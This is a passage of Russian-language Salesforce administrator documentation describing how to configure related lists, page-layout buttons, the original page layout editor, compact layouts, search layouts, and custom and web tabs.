• Чтобыотсортироватьэлементысвязанногосписка, выберитенужноеполевраскрывающемсясписке«Сортировать
по». Элементы отображаются в порядке возрастания. При необходимости выберите параметр «По убыванию».
Стандартный порядок сортировки определяется типом записи. Раскрывающийся список «Сортировать по»
недоступен для действий и продуктов возможности.

• При необходимости выберите дополнительные макеты страниц для применения настроек связанного списка.
Списокотображает толькомакеты, содержащиеданныйсвязанныйсписок. Макеты, содержащиесвязанныесписки,
настройки которых при открытии соответствуют текущему макету, выбираются по умолчанию.

Поля поиска недоступны для отображения в соответствующем связанном списке поиска. Например, поле поиска
обращений в макете страницы организаций недоступно при редактировании связанного списка обращений.

4. Чтобы настроить стандартные кнопки, которые должны отображаться в связанном списке, установите или снимите
флажок напротив имени нужной стандартной кнопки.

Прим.: Чтобы просмотреть кнопки в расширенном редакторе макетов страниц, щелкните символ плюса (+) в
разделе «Кнопки».

5. Чтобы настроить настраиваемые кнопки, которые должны отображаться в связанном списке, выполните указанные
ниже действия.

• Чтобы добавить или удалить настраиваемую кнопку, выберите нужную кнопку и нажмите кнопку «Добавить»
или «Удалить».
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• Чтобы отсортировать настраиваемые кнопки, выберите нужную кнопку и нажмите кнопку «Вверх» или «Вниз».

Настраиваемая кнопкадолжнабытьопределенадляобъекта, содержащегося в связанномсписке, аполе кнопки «Тип»
должно содержать значение «Кнопка списка». Например, чтобыдобавить настраиваемуюкнопку в связанный список
организации «Контакты», определите настраиваемую кнопку для контактов, а не для организаций.

6. Чтобы отменить все настройки и восстановить стандартные параметры Salesforce в связанном списке, щелкните
«Вернуться к стандартным значениям».

7. Чтобы сохранить настройки, нажмите кнопку «ОК». Чтобы сохранить внесенные изменения, нажмите кнопку
«Сохранить» в макете страницы.

8. Чтобы применить связанные списки макета страницы ко всем пользователям, даже если порядок отображения уже
настроен, установите флажок «Перезаписать настроенные связанные списки пользователей».

9. Чтобы просмотреть макет страницы, щелкните «Предварительный просмотр». Чтобы открыть страницы для
предварительногопросмотра, выберитенужныйпрофиль в областипредварительногопросмотра в версии Enterprise
Edition, Unlimited Edition, Performance Edition или Developer Edition.

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Макеты страниц и безопасность поля

Настройка кнопок страницы сведений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки кнопок
страницы сведений:
• «Настройка

приложения»

Макетыстраницпозволяютопределятьстандартныеинастраиваемыекнопки, доступные
дляотображения, а такжепорядокотображениянастраиваемыхкнопок. Чтобынастроить
кнопки для страниц сведений о записях, выполните указанные ниже действия.

1. Изпараметровуправлениядляобъекта, макетстраницыкотороготребуетсянастроить,
перейдите к «Макетам страниц».

2. Щелкните ссылку «Правка» напротив нужного макета страницы.

3. Выполните одно из указанных ниже действий.

• Дваждыщелкните элемент «Кнопки страницы сведений» в разделе «Кнопки»
исходного редактора макетов страниц.

– Чтобыскрытьстандартнуюкнопку, снимитефлажокнапротивнужнойкнопки.

– Чтобыдобавитьилиудалитьнастраиваемуюкнопку, выберитенужнуюкнопку
в списке «Доступныекнопки» инажмитекнопку «Добавить»или «Удалить».

– Чтобы изменить порядок отображения настраиваемых кнопок, выберите
нужную кнопку и нажмите кнопку «Вверх» или «Вниз».

– Чтобыотменитьвнесенныеизмененияивосстановитьстандартныепараметры,
щелкните «Вернуться к стандартным значениям».

– Чтобы закрыть всплывающее окно, нажмите кнопку «ОК».

• Выберите категорию «Кнопки» на палитре расширенного редактора макетов страниц и перетащите нужные
кнопки в раздел кнопок макета страницы. Стандартные кнопки должны перемещаться в область стандартных
кнопок, настраиваемые — в область настраиваемых кнопок. Чтобы удалить стандартную или настраиваемую
кнопку из макета страницы, перетащите нужную кнопку на палитру.

4. Нажмите кнопку «Сохранить» в макете страницы.
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5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Переопределение стандартных кнопок и начальных страниц вкладок

Определение настраиваемых кнопок и ссылок

Поиск по параметрам управления объектами

Настройка макетов страниц с помощью исходного редактора макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Исходный редактор макетов страниц позволяет настраивать макеты страниц сведений
и редактирования в системе Salesforce, на портале самообслуживания и клиентском
портале Salesforce.

Прим.: Компания Salesforce рекомендует использовать расширенный редактор
макетов страниц.

1. Откройте редактор макетов страниц.

• Редактирование макетов страниц для стандартных объектов

• Редактирование макетов страниц для настраиваемых объектов

2. Если организация использует теги, выберите теги (личные или общедоступные),
которые должны быть добавлены в раздел верхнего колонтитула макета страницы.
Тегимогутбытьназначенызаписитолькоприналичииличныхилиобщедоступных
тегов в данном разделе.

• Чтобыдобавитьличныеилиобщедоступныетеги, выберите значение «Элементы
верхнего колонтитула» в раскрывающемся списке «Просмотр» и перетащите
элемент «Личные теги» или «Общедоступные теги» в раздел верхнего колонтитула. Если раздел верхнего
колонтитула одновременно содержит личные и общедоступные теги, то порядок их отображения не может быть
изменен.

• Чтобыудалитьтеги, перетащитеэлементы «Личныетеги» и «Общедоступныетеги» изразделаверхнегоколонтитула
в область, расположенную под раскрывающимся списком «Просмотр».

3. Чтобы настроить кнопки, дваждыщелкните элемент «Кнопки страницы сведений» в разделе «Кнопки».

• Чтобы скрыть стандартную кнопку, снимите флажок напротив нужной кнопки.

• Чтобы добавить или удалить настраиваемую кнопку, выберите нужную кнопку в списке «Доступные кнопки» и
нажмите кнопку «Добавить» или «Удалить».

• Чтобы отсортировать настраиваемые кнопки, выберите нужную кнопку и нажмите кнопку «Вверх» или «Вниз».

• Чтобы отменить внесенные изменения и восстановить стандартные параметры, щелкните «Вернуться к
стандартным значениям».

• Чтобы закрыть всплывающее окно, нажмите кнопку «OK».

4. Чтобыизменить порядок отображенияполей, настраиваемых элементов S-Control, страниц Visualforce, настраиваемых
ссылок и связанных списков в макете страницы, выберите как минимум один элемент в поле справа и перетащите его
в нужную область. Макет страницы может содержать не более 20 элементов S-Control, 20 страниц Visualforce,
20 развернутых поисков и 100 связанных списков. Поля и настраиваемые ссылки могут добавляться без ограничений.

• Чтобы выбрать несколько отдельных элементов, воспользуйтесь комбинацией CTRL+щелчок.

• Чтобы выбрать группу элементов, воспользуйтесь комбинацией SHIFT+щелчок.
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Прим.:

• Страница Visualforce может быть добавлена в макет страницы только в том случае, если стандартному
контроллеру страницыVisualforceназначаетсяобъект, для которого создаетсямакет страницы. Еслистраница
Visualforce не содержит стандартного контроллера, назначенного данному объекту, то категория «Страницы
Visualforce» не отображается в палитре.

• Элементы, отсутствующие в макете страницы, отображаются в прокручиваемом поле справа.

• Чтобыназначитьполюстатусобязательного, зависимогоилиуправляющего, либодругие атрибуты, которые
могут влиять на выбор макета страницы, воспользуйтесь условными обозначениями.

5. Чтобы назначить полю статус обязательного и доступного только для чтения, выберите нужное поле и щелкните
«Редактировать свойства».

• Свойства некоторых стандартных полей не могут быть изменены. Настраиваемые поля, которые не являются
универсальными обязательными, могут быть изменены.

• Поля, доступные только для чтения, могут быть изменены администраторами и пользователями с полномочием
«Редактирование полей только для чтения».

• Еслиполюраскрывающегося списка назначается статус доступного только для чтения, то все новые записи будут
содержать стандартное значение данного раскрывающегося списка.

• Поля автонумерации доступны только для чтения.

• Если полю возможности «Вероятность» назначается статус доступного только для чтения, то значение поля
«Вероятность» будет автоматически обновляться при изменении значения поля «Этап» в записи возможности.

• В версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition параметры безопасности поля
переопределяют любые заданные свойства поля, если безопасность поля использует более строгие параметры,
чем макет страницы.

6. Чтобыизменить свойства элемента S-Control или страницы Visualforce, дваждыщелкнитенужныйэлементинастройте
атрибуты ниже.

• «Ширина»: размер по горизонтали в пикселах или процентах.

• «Высота»: размер по вертикали в пикселах.

• «Показать полосы прокрутки»: определяет необходимость отображения полос прокрутки во фрейме iFrame,
содержащем элемент S-Control.

• «Показать метку»: определяет необходимость отображения поля «Метка» настраиваемого элемента S-Control в
макете страницы. Чтобы расширить область отображения настраиваемого элемента S-Control, удалите метку.

7. Чтобыорганизовать страницуспомощьюразделов, щелкнитессылку «Правка»напротивнужногораздела страницы.
Чтобы создать раздел страницы, нажмите кнопку «Создать раздел».

• Введите имя для раздела. Обратите внимание, что имена некоторых стандартных разделов страницы не могут
быть изменены.

• Определите количество столбцов, доступное в разделе.

• Определите порядок перехода пользователей между элементами данного раздела.

• Определите необходимость отображения имени раздела на страницах сведений и редактирования.

8. Чтобынастроитьсвязанныеспискимакетастраницы, дваждыщелкнитенужныйсвязанныйсписоквразделе «Связанный
список».
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Чтобы добавить или удалить поля из столбцов связанного списка на макете страницы, выберите как минимум
одно поле и нажмите кнопку «Добавить» или «Удалить». При необходимости определите порядок отображения
столбцов связанного списка. Связанный список может содержать не более 10 полей.

•

• Чтобы выбрать несколько отдельных полей, воспользуйтесь комбинацией CTRL+щелчок.

• Чтобы выбрать группу полей, воспользуйтесь комбинацией SHIFT+щелчок.

• Чтобыотсортироватьэлементысвязанногосписка, выберитенужноеполевраскрывающемсясписке «Сортировать
по». Элементы отображаются в порядке возрастания. При необходимости выберите параметр «По убыванию».
Стандартный порядок сортировки определяется типом записи. Раскрывающийся список «Сортировать по»
недоступен для действий и продуктов возможности.

• При необходимости выберите дополнительные макеты страниц для применения настроек связанного списка.

• Чтобынастроитьстандартныекнопки, которыедолжныотображаться в связанномсписке, установитеилиснимите
флажок напротив имени нужной кнопки.

• Чтобы настроить настраиваемые кнопки, которые должны отображаться в связанном списке, выберите нужную
кнопку и нажмите кнопку «Добавить» или «Удалить». Чтобы отсортировать настраиваемые кнопки, выберите
нужную кнопку и нажмите кнопку «Вверх» или «Вниз».

Прим.: Дополнительную информацию о создании настраиваемой кнопки для связанного списка см. в
разделе «Определение настраиваемых кнопок и ссылок». Настраиваемая кнопка должна быть определена
для объекта, содержащегося в связанном списке, а поле кнопки «Тип» должно содержать значение «Кнопка
списка». Например, чтобы добавить настраиваемую кнопку в связанный список организации «Контакты»,
определите настраиваемую кнопку для контактов, а не для организаций.

Некоторые связанные списки недоступны для настройки, так как ссылаются на данные, но не хранят их. Чтобы
определить доступность связанного списка для настройки, наведите указатель мыши на любой раздел связанного
списка. Крометого, поляпоисканедоступныдляотображениявсоответствующемсвязанномспискепоиска. Например,
поле поиска обращений в макете страницы организаций недоступно при редактировании связанного списка
обращений.

9. Чтобы применить связанные списки макета страницы ко всем пользователям, даже если порядок отображения уже
настроен, установите флажок «Перезаписать настроенные связанные списки пользователей».

10. Чтобы просмотреть макет страницы, щелкните «Предварительный просмотр». Чтобы открыть страницы для
предварительногопросмотра, выберитенужныйпрофиль в областипредварительногопросмотра в версии Enterprise
Edition, Unlimited Edition, Performance Edition или Developer Edition. Обратите внимание, чтоосновные столбцысвязанных
списков отображаются пустыми.

11. Нажмите кнопку «Сохранить». Чтобысохранитьмакет страницыипродолжить егоредактирование, нажмите кнопку
«Быстрое сохранение».

В версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition:

• Чтобывыбрать связанныезаписи, которыедолжныотображаться вмини-представлениивкладки «Консоль», щелкните
«Мини-представление консоли».

• Чтобы определить макеты мини-страниц для записей, отображающихся в мини-представлении вкладки «Консоль»,
щелкните «Макет мини-страницы».

Прим.: Мини-представления консоли и макеты мини-страниц не могут быть определены для макета «Закрыть
обращение» или макетов страниц «Зарегистрировать обращение» и «Просмотр обращений» на портале
самообслуживания.

В версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition:
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• Назначьте макеты страниц разным комбинациям профиля и типа записи.

• Чтобы ограничить доступ к полю, настройте параметры безопасности поля.

СМ. ТАКЖЕ:

Настройка связанных списков

Макеты страниц

Компактные макеты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Компактные макеты позволяют быстро просматривать ключевые поля записи в
приложениях Salesforce1 и Lightning Experience.

Вполнойверсиисистемы Salesforce компактныемакетыопределяютполя, отображаемые
в элементе ленты Chatter, который является результатом создания записи посредством
быстрого действия.

Прим.: Во избежание непреднамеренного предоставления общего доступа к
даннымпосредствомлентымакет страницызадачопределяетполя, отображаемые
элементами ленты Chatter для задач, созданных с помощью быстрого действия.

Ниже перечислены области приложения Salesforce1, отображающие первые четыре
поля, назначенные компактному макету.

• Раздел «Основное» записи объекта.

• Карты развернутого поиска на странице связанных сведений о записи.

В Lightning Experience — первые пять полей, добавленных на экран компактного макета на панели основных показателей
объекта.

Прим.: Если пользователю недоступно одно из первых четырех полей, назначенных компактному макету,
приложение отображает следующее поле макета.

При отсутствии настраиваемых компактных макетов для объекта, созданных пользователем, все основные поля записи
объекта, карты предварительного просмотра и элементы ленты, связанные с действиями, определяются стандартным
компактным макетом, доступным только для чтения и содержащим предопределенный набор полей. При наличии как
минимум одного настраиваемого компактного макета выберите одинмакет в качестве основного для объекта. Основной
компактный макет будет использоваться данным объектом в качестве стандартного.

Основные компактные макеты определяют, какие поля отображаются в сообщениях индивидуальной электронной
рассылки Chatter.

При наличии типов записей, связанных с объектом, переопределите назначение основного компактного макета и
назначьте конкретные компактные макеты разным типам записей.

Ниже перечислены типы полей, которые не поддерживаются компактными макетами.

• область текста

• область подробного текста

• область обогащенного текста
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• раскрывающийся список со множественным выбором

СМ. ТАКЖЕ:

Создание компактных макетов

Примечания к компактным макетам

Создание компактных макетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки компактных
макетов:
• «Настройка

приложения»

Для просмотра компактных
макетов:
• «Просмотр настройки»

Компактныемакетыможноиспользоватьдлянастройкиполей, отображаемыхв записях
объекта, которые просматриваются посредством приложений Salesforce1 и Lightning
Experience.

Первыечетыреполя компактногомакета составляютраздел «Основное», отображаемый
в верхней части представления каждой записи в приложении Salesforce1. Раздел
«Основное» в Lightning Experience использует первые пять полей компактного макета.

1. Внастройкахуправленияобъектом, которыйнеобходимоотредактировать, перейдите
к списку «Компактные макеты».

2. Создайте новый компактный макет и присвойте ему метку.

3. Добавьте до 10 полей.

Совет: Сначаладобавьтеполе Имя объекта, чтобыпользователиприпросмотре
записи знакомились с контекстом.

4. Чтобы отсортировать поля, выберите нужное поле и нажмите кнопку «Вверх» или
«Вниз».

Порядок присвоения полям определяет порядок их дальнейшего отображения.
Рекомендуется сначала указать Имя объекта.

5. Сохраните макет.

6. Чтобы задать компактный макет в качестве основного для объекта, нажмите кнопку
«Назначение компактного макета».

Пример: Данноеизображениесодержитвыборочнуюстраницуредактированиякомпактногомакетадлястандартного
объекта «Организация».
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НижеотображаетсястраницасведенийдлявыборочнойорганизациивмобильномприложенииSalesforce1. Обратите
внимание, что сведения об организации, включая имя, местоположение, номер телефона и номер организации,
отображаются кратко вверху страницы.

СМ. ТАКЖЕ:

Назначение компактных макетов типам записей

Примечания к компактным макетам

Компактные макеты
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Назначение компактных макетов типам записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки компактных
макетов:
• «Настройка

приложения»

Для просмотра компактных
макетов:
• «Просмотр настройки»

При отсутствии настраиваемых компактных макетов для объекта, созданных
пользователем, все основные поля записи объекта, карты предварительного просмотра
и элементы ленты, связанные с действиями, определяются стандартным компактным
макетом, доступнымтолько для чтенияи содержащимпредопределенныйнаборполей.
При наличии как минимум одного настраиваемого компактного макета выберите один
макет в качестве основного для объекта. Основной компактный макет будет
использоваться даннымобъектомв качестве стандартного.Приналичиитипов записей,
связанных с объектом, переопределите назначение основного компактного макета и
назначьте конкретные компактные макеты разным типам записей.

1. Внастройкахуправленияобъектом, которыйнеобходимоотредактировать, перейдите
к списку «Компактные макеты».

Совет: Чтобы перейти к статьям Salesforce Knowledge, в меню «Настройка»
введите «Типы статей баз зданий» в поле «Быстрый поиск», выберите пункт
«Типы статей баз знаний», щелкните по имени типа статьи и прокрутите
вниз к связанному списку «Компактные макеты».

2. Нажмите кнопку «Назначение компактного макета».

3. Выберите основной компактный макет для данного объекта.

4. Выберите как минимум один нужный тип записи в разделе «Переопределения типа
записи».

Данный раздел отображается только при наличии типов записей, заданных для объекта. При отсутствии
переопределений типа записи все типы записи используют основной компактный макет объекта по умолчанию.
Чтобы выбрать смежные ячейки, воспользуйтесь комбинацией SHIFT+щелчок илищелкните любую ячейку и
переместите указатель мыши. Чтобы выбрать отдельные несмежные ячейки, воспользуйтесь комбинацией
CTRL + щелчок.

Обратите внимание, что некоторые доступные типы записей могут быть неактивны. При необходимости назначьте
компактный макет неактивному типу записи.

5. Чтобы назначить компактный макет выбранным ячейкам, выберите нужный макет в раскрывающемся списке
«Компактный макет для использования».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание компактных макетов

Примечания к компактным макетам

Компактные макеты

Поиск по параметрам управления объектами
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Примечания к компактным макетам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

• Сделанные изменения компактного макета отображаются как в Salesforce1, так и в
Lightning Experience.

• Каждому типу записи может быть назначен только один компактный макет. Тем не
менее, компактный макет может быть связан с несколькими типами записей.

• Компактный макет отображает только поля, доступные пользователям в системе
Salesforce.

• Компактный макет должен содержать как минимум одно поле.

• Компактный макет может содержать только поля своего объекта, включая поле
формулы, являющееся межобъектной ссылкой на другой объект.

• Удаление поля из макета страницы не инициирует его удаления из компактного
макета объекта. Оба типа макетов являются независимыми.

• Назначение полю компактного макета неподдерживаемого типа инициирует удаление поля из компактного макета.

• Прежде чем удалить компактный макет, выбранный в качестве основного для объекта, рекомендуем выбрать другой
компактный макет для замены.

• Задачи, просматриваемые в приложении Salesforce1, автоматически отображают статус (открыто или закрыто) и
крайний срок (в зависимости от доступа пользователя к датам действий). Данные поля могут не добавляться в список
«Выбранные поля» при настройке компактного макета задачи.

• Компактные макеты недоступны для мобильных приложений Chatter Mobile для BlackBerry и «Мобильные панели
мониторинга для iPad».

СМ. ТАКЖЕ:

Создание компактных макетов

Компактные макеты
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Выбор полей для отображения в списке «Недавно просмотренные» на начальных страницах объектов
в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки списка
недавних записей:
• «Настройка

приложения»

Администратор Salesforce может настраивать список «Недавно просмотренные»,
отображающийсянаначальнойстраницемногихстандартныхинастраиваемыхобъектов.
Благодаря выбору полей и изменению порядка их отображения, пользователям может
отображаться только наиболее важная информация.

Прим.: Данные действия поддерживаются в Lightning Experience. Если слева
находится панель навигации, вы в Lightning Experience. Панель вкладок,
отображающаясяповсейшириневерхнейчастиэкрана, указываетнаиспользование
Salesforce Classic.

Большинство списковых представлений позволяют пользователям выбирать поля для
отображения и изменять последовательность столбцов. Тем не менее, пользователи не
могутредактироватьбыстрыйсписокнедавнихзаписейнаначальныхстраницахобъектов.
Только администраторы Salesforce могут выбирать поля и изменять порядок их
отображения для быстрого списка недавних записей. Администраторы не могут
выполнять другие изменения данного стандартного списка.

1. Введите строку «Менеджер объектов» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Менеджер объектов».

2. Щелкните имя метки для нужного объекта.

3. Выберите «Макеты поиска» из меню ссылок вверху страницы.

4. Щелкните значок в столбце «Результаты поиска» и выберите «Правка».

5. Чтобыдобавить столбцывсписок «Недавнопросмотренные», выберитекакминимумоднополеиз списка «Доступные
поля» инажмитекнопку«Добавить». Чтобыудалитьстолбцы, выберитекакминимумоднополеизсписка «Выбранные
поля» и нажмите кнопку «Удалить».

6. Чтобы изменить порядок отображения столбцов, выберите как минимум одно поле из списка «Выбранные поля» и
нажмите кнопку «Вверх» или «Вниз».

7. Нажмите кнопку «Сохранить».

Пример: Допустим, пользователи сотрудничают над возможностями. Чтобы упростить просмотр пользователей,
работавших над недавними возможностями последними, выберите поле «Последнее изменение сделано» из
списка «Доступныеполя». Чтобыпереместитьданноеполевсписок «Выбранныеполя», нажмитекнопку«Добавить».
Теперь данная информация отображается списком «Недавно просмотренные» на начальной странице вкладки
«Возможности».
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Настройка макетов поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения макетов
поиска:
• «Настройка

приложения»

Настройте поля, которые должны отображаться пользователям в результатах поиска,
полях фильтров поиска, диалоговых окнах поиска, списках недавних записей на
начальных страницах вкладок в Salesforce Classic, а также в диалоговых окнах поиска
телефонных номеров для Salesforce CRM Call Center.

Каждый макет поиска может использовать отдельный набор полей. Параметры
применяются ко всем пользователям организации и клиентского портала Salesforce.

Если необходимо, настройте кнопки, которые должны отображаться в настраиваемых
списковых представлениях и результатах поиска. Стандартные кнопки спискового
представления могут быть скрыты, а настраиваемые кнопки, наоборот, отображены.
Стандартные кнопки недоступны в макетах результатов поиска. Чтобы отобразить
настраиваемую кнопку, создайте настраиваемую кнопку и заполните поле «Тип
отображения» значением «Кнопка списка».

1. Перейдите на страницу «Макеты поиска» посредством параметров управления для
соответствующего объекта.

2. Щелкните ссылку «Правка» напротив нужного макета. Укажите другой набор
отображаемых элементов. Можно также изменить результаты поиска, диалоговые
окна поиска, списки недавних записей на начальных страницах вкладок в Salesforce Classic, диалоговые окна поиска
телефонных номеров, списковых представлений и полей фильтров поиска.

3. Выберитестандартныеилинастраиваемыекнопки, которыедолжныотображатьсявмакетах списковыхпредставлений
и результатов поиска. Чтобы скрыть стандартную кнопку в списковом представлении, снимите соответствующий
флажок. Стандартные кнопки недоступны в макетах результатов поиска.

4. Переместите поля между списками «Доступные поля» и «Выбранные поля».

• Чтобы определить поля, которые должны отображаться в макете, выберите как минимум одно поле и нажмите
кнопку «Добавить» или «Удалить».

• Чтобы изменить порядок отображения полей в макете, выберите как минимум одно поле в списке «Выбранные
поля» и нажмите кнопку «Вверх» или «Вниз».

• Чтобы выбрать несколько отдельных полей, воспользуйтесь комбинацией CTRL+щелчок.

• Чтобы выбрать группу полей, воспользуйтесь комбинацией SHIFT+щелчок.

• Чтобы определить элементы, которые должны отображаться в макете, выберите как минимум один элемент и
нажмите кнопку «Добавить» или «Удалить».

• Чтобы отсортировать элементы макета, выберите нужный элемент и нажмите кнопку «Вверх» или «Вниз».

Прим.: При необходимости установите флажок «Переопределить настройки столбца с результатами
поискадлявсехпользователей»приредактированиимакетарезультатовпоискадляобъекта. Еслиэтотфлажок
установлен, всенастройкистолбцов, выполненныев вашейорганизации, будут восстановлены, то есть заменены
едиными для организации стандартными параметрами.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Макеты страниц

Примечания к макетам поиска
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Примечания к макетам поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения макетов
поиска:
• «Настройка

приложения»

• Макеты поиска не применяются к Salesforce CRM Content.

• Макетыпоисканеприменяютсякучастникамкампании, атакжегруппам, работающим
с возможностями или обращениями.

• Макет поиска не определяет поля, доступные для поиска ключевых слов. Список
полей, используемых для поиска, стандартен для всех областей системы Salesforce.

• Каждый макет поиска может содержать не более 10 полей.

• Макетыпоисканеподдерживаютудалениеуникальныхидентификационныхполей
(например, «Имя организации» или «Номер обращения»). Данные поля должны
отображаться первыми в списке полей макета поиска.

• Макетыпоисканеподдерживаютдобавление стандартных (например, «Описание»,
«Сведения о решении») и настраиваемых полей с областью подробного текста.

• Макет поиска может быть дополнен любыми полями, несмотря на их доступность
пользователю, настраивающему макет поиска.

• В версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition
макеты поиска не переопределяют безопасность поля. Поле, добавленное в макет
поиска, но скрытое параметрами безопасности поля, не отображается в результатах
поиска.

• Вверсиях Personal Edition, Contact Manager, Group Edition и Professional Edition макетыпоискапереопределяютпараметры
макета страницы. Поле, добавленное в макет поиска, но скрытое параметрами макета страницы, отображается в
результатах поиска.

• Макетырезультатовпоиска дляинтересов, организаций, контактови возможностей такжеприменяются крезультатам
поиска, отображаемым при обнаружении повторяющихся интересов.

• Поля формулы недоступны в макетах результатов поиска.

• Рекомендуем не удалять поле «Телефон» из макета диалогового окна поиска телефонов. В противном случае
результаты поиска по каталогу не могут использоваться для ввода номера на клавиатуре программного телефона.

• Чтобыдобавитьнастраиваемуюкнопку в списковоепредставлениеилимакетпоиска, создайтенастраиваемуюкнопку
для стандартного или настраиваемого объекта и заполните поле «Тип отображения» значением «Кнопка списка».
Настраиваемаякнопкабудетдоступнав списковомпредставленииимакетахрезультатовпоискадля соответствующего
объекта.

Совет: Чтобы визуально различать организации-компании и организации-лица в результатах поиска по
организациям, добавьтеполе «Является организацией-лицом», котороеотображаетсяввидезначкаорганизации-лица
( ).

Принеобходимостиполе «Является организацией-лицом» можетбытьвыбрановкачествепервогостолбцамакетов
поиска организаций. В противном случае первым столбцом должно быть выбрано поле «Имя организации».

4395

Изменение внешнего вида SalesforceРасширение Salesforce посредством интерактивных
инструментов



Настройка настраиваемых вкладок

Общие сведения о настраиваемых вкладках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Вкладки настраиваемых
объектов и веб-вкладки
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки Visualforce
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки страницы Lightning
доступны в версиях: все
версии, кроме
Database.com Edition.

Настраиваемые вкладки в системе Salesforce позволяют отображать данные
настраиваемого объекта или другое веб-содержимое.

Ниже перечислены типы настраиваемых вкладок, доступные для создания.

• Вкладки настраиваемого объекта (доступны только на уровне приложения)
отображают данные настраиваемого объекта на вкладке пользовательского
интерфейса. Вкладкинастраиваемогообъектавыглядятифункционируютаналогично
стандартным вкладкам.

• Настраиваемые веб-вкладки отображают любое внешнее веб-приложение или
веб-страницуна вкладке Salesforce.Веб-вкладкимогут содержатьбоковуюпанельили
отображаться на всюширину страницы.

• На вкладках Visualforce отображаются данные со страницы Visualforce. Вкладки
Visualforce выглядят и функционируют аналогично стандартным вкладкам.

• Вкладки страницы Lightning позволяют добавлять страницы Lightning в меню
навигации Salesforce1.

Вкладки страницы Lightning недоступны на полной версии сайта Salesforce и их
функционал отличается от прочих настраиваемых вкладок Salesforce. В Salesforce
Classic не отображаются на странице «Все вкладки» при нажатии значка ( ) справа
от текущих вкладок. Кроме того, вкладки страницы Lightning не отображаются в
списке «Доступные вкладки» при настройке вкладок для приложений. Кроме того,
вкладки страницы Lightning не доступны в Lightning Experience.

• Вкладки компонентов Lightning позволяют использовать компоненты Lightning в
мобильномприложении Salesforce1 (через менюнавигации) или Lightning Experience
(через средство запуска приложений). Компоненты Lightning не поддерживаются в
Salesforce Classic.

Прим.: Следует обязательно включить Мой домен в организации, чтобы
компоненты Lightning отобразились на вкладке компонентов Lightning.

СМ. ТАКЖЕ:

Создание настраиваемых приложений

Что такое приложение вложенной вкладки?
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Определение настраиваемых вкладок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Вкладки настраиваемых
объектов и веб-вкладки
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки Visualforce
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки страницы Lightning
доступны в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
настраиваемых вкладок:
• «Настройка

приложения»

Настраиваемые вкладки отображают данные настраиваемого объекта или другое
веб-содержимое, внедренное в приложение.

• Вкладки настраиваемого объекта: для данных настраиваемого объекта

• Веб-вкладки: для прочего веб-содержимого

• Вкладки Visualforce: для страниц Visualforce

• Вкладка компонентов Lightning предназначена для добавления компонентов
Lightning вмобильноеприложение Salesforce1 (черезменюнавигации) илив Lightning
Experience (через средство запуска приложений).

• Вкладки страницы Lightning: для страниц Lightning, подлежащих добавлению в
меню навигации Salesforce1.

Приложениявложеннойвкладкиподдерживаюттольковеб-вкладкиивкладкиVisualforce.

Делегированныеадминистраторы, которыемогутуправлятьуказанныминастраиваемыми
объектами, могут создаватьинастраивать вкладкидля соответствующихнастраиваемых
объектов.

СМ. ТАКЖЕ:

Общие сведения о настраиваемых вкладках

Что такое приложение вложенной вкладки?
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Создание веб-вкладок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Вкладки настраиваемого
объекта и веб-вкладки
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки Visualforce
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладки страницы Lightning
доступны в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
